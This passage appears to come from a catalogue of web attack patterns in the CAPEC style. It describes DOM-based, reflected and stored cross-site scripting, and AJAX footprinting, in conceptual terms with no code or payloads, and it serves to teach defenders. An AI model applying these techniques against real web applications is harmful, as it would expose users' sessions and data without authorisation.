This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.